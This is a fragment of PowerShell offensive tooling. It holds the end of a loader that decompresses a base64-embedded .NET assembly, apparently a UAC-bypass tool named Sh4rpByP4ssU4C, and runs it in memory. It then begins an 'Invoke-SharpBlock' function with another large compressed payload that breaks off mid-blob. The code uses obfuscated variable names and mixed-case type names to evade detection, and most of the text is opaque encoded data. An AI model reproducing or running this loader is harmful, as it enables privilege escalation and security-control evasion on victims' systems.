MZXv3A+E74vv80R08tkXLvR8P5APCEtCJ7r7pTKnli4FIF8poUR8m9wlLw
```

```
lgkgcrEYqO7HLfsLNuiwyM4Htq6Dqrqo1r/iCcjxiNbkiAQJaESOs33cno
07SEyWp3WLFFsN27Nobcklo+9h7mGAu1KwFfCu5ueqTdlLVqTABvLQPc/1
Svu/36nh6h98p+08JNP/fIHfv2PvvaR3Sc/OkT5L766fuvsxFuv92GR1p/
TC4U+g7S+bHEgY2jFgUK/oQ0xqpAhHZX9pGmFvpwGgIpnQVIYzmQNHYR6x
tC1wlC/QcVzwGuDz6Cpxk11bpRn3HAGOJ1ZFQqFfK6v+HRxtDieeaJ4SSt
w86EfftzoK44WCoI5bmhPFJ/XUJiK+5tmHkiJO8qA6XBBzxb6ssMZPaujP
JwpyMWonh3KZZ8oLuoFPclBlwdBofjSiVy2uDZcvIP/fPFO8S7zXcsYhDK
LfjdHfSAfNLnwUpY0psnk9OFMPmf0oYc853nJIUbRKTrHcxkQOcVa8V7RY
XZ32HJOIWdw/WCDzXAMnQOVCJM3dP0UnTylPU560Ylxhf4cuMNax7KsSNE
ZyGULnDNv2I1gtyz1FdhwaHVnOAPDs3igob7inZhLnBbvHs/lineLd4Z0f
rMQdOiknlgEwqFzHpIhlvAUndKg/uD9jwrboeL91yBJcQ2N8ifz+Sxb/P4
nCpfhUPyOyXvsErIfF5C1y+f5wpPi43mNVvUfuh2Y9SXfax24rG4H/l6oM
bfB+5/Ja3JOj2CvUaHnhJwycjVwRqNi69zO+MoDw7gwxvfz3J3+Po2eHrM
vTU5ak5dHrcuTY6MT1TF79HlT2aMT45Ob49Xq8xMXLl0iOq5Rbpx/klLCy
mleoydLS7OrrcPL59KfLOxOlC5B7sLpVlVya8DnEUVuY7RqDNDGdxPf+Ou
PmekdxW/hjb6K97eJblZmKrOvfvwr73n5L2984o0vnv5cYfEjrFT5ynp8R
La+wqcHch6wYlo7Gyuz894r8YFVT9V696HBaM0MIxUcCbvuV19Zv6lcZYa
qp4rP+iHPzJvtO5efYtigA5+VNztLG2U/mN1XcpwnlxNK8XG91P3nM2R84
GAmP3j+Dzy6/K7EwJeJ77ZXkHfXx7+KmTwAz08PskW//Qj6f8Qn5RffIlr
oa9cs9E0gvYV10AbSWWx4K9iILmPTs4F8CduBZaH7cv+3vx/z0bp4vpCU+
qn3thH+LLhbshabS1Y988lHkp+npdWqfIo9WTt1fKvl+Xz/78mtewX4IFn
dPszp54VmrPU3gbUMwgs9KfZIV+jxqjZMOI901NWl/2Z7o5c8c3QCNGl/8
WmVJXLUu+TkNeQE8HXincoKYP68ryEvS/0YgnGbT/d2k5/xVhwvidxzxL8
PmW8tPnj96HZIV5HTtrS/dGcUH5q1Vp54XqQi+CxQfAjkirZ1tGANtuTIg
w7AGfQAr4H1LP9qgX+C9WNiqzafeMRsWTSxHDstqxKkZNmXE35OInuqu/e
2dbgmY/CIDfkRbD8htu9u3zsCvfaflDbTySKtBm9ywds4tN23vkn0rx2T4
Ntf+tOrL+zXXGM3+ayN4NM3YqjkWmlqZG11bnRyxAgj07NN1/fU1EhThSM
vXBs4NnDsano2b4CFF06NNALvSmhtK3xdRmvpBfio5deumGGttDs+YtSSu
6Fbnf2BmWG0mM3byoucqNklE/+NGHwVOjWy2Jyu113Hii+HzXp95HzMIQo
aodyyHFGeC3HPaBkqqxGgz6QMTOsudiVwdh1XbanwiFwvjrS4dPJJztF9b
0HtKtdwOZ0aMcN5b9ffUcGI0XCmLT7enxrZNN1QJUoJk/MHSJOKfr5L9qv
nW0ZA+er51KjX6OjPn8"+"W/Max"+"ffhttf"+"vD8v3n+C0"+"F+CacAs
gAA"))
    $tqzatr = New-Object IO.COmpreSsion.GZipStream($pwer,
[IO.COmpRession.CoMPresSionMode]::DECoMPress)
    $zatsg = New-Object System.IO.MemOryStream
```

```
    $tqzatr.CopyTo( $zatsg )
    [byte[]] $iauszshj = $zatsg.ToArray()
    $tarsfsg = [System.ReflEction.ASsembly]::Load($iauszsh
j)

    $OldConsoleOut = [Console]::Out
    $StringWriter = New-Object IO.StringWriter
    [Console]::SetOut($StringWriter)

    [Sh4rpByP4ssU4C.Sh4rpByP4ssU4C]::Main($Command.Split("
"))

    [Console]::SetOut($OldConsoleOut)
    $Results = $StringWriter.ToString()
    $Results
}
```

▼ Invoke-SharpBlock.ps1

```
function Invoke-SharpBlock
{
     [CmdletBinding()]
    Param (
        [String]
        $Command = " "

    )
    $a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64St
ring("H4sIAAAAAAAEAKR9B1hTSRfozU1y02hJIKEoYAEjARQQpSmKBUUR
lSLdXsASDPYYxL4q9rZix45dwbL23tsq6lqwVyzYO7w5M/eGgO7//++93W
+5d2bOnDlz5sxpMzcbmTiT4lMUJUD/lZdT1G6K/NOU+u//ZKP/rFz+sqIK
JOdr7Oa1O18jpm9apmuGXtdH322Aa49uAwfqBrt27+WqHzLQNW2ga4uoaN
cBup69vC0tpbVZHB1aUlTPiTTVYL5fKYe3lKpJyej6FHWbR1GM2YCuZpTB
O03ohn9MYK40rod/+FTXCSZ404RszHBVqqnyD03tE/773Hd/41HV/r35v/
+Dxm9tVvQe3Gv4YPS8epNHaIO507906eqtz9T3QO+ENppMvJhXCa7p/7Z8
```

```
+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
```

```
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
```

```
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
```

```
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
```

```
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
```

```
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
```

```
mQM7r3FP56ia+J41Xc+/Z6WilvYDrjk1DV3bmzRj74A1RCJXx1OXxqbDwt
xCJCkZibDqrAJHHjXPy3cfybVNwbTudT8P0V2KkPOGKADJpUJjJ8AlMiJp
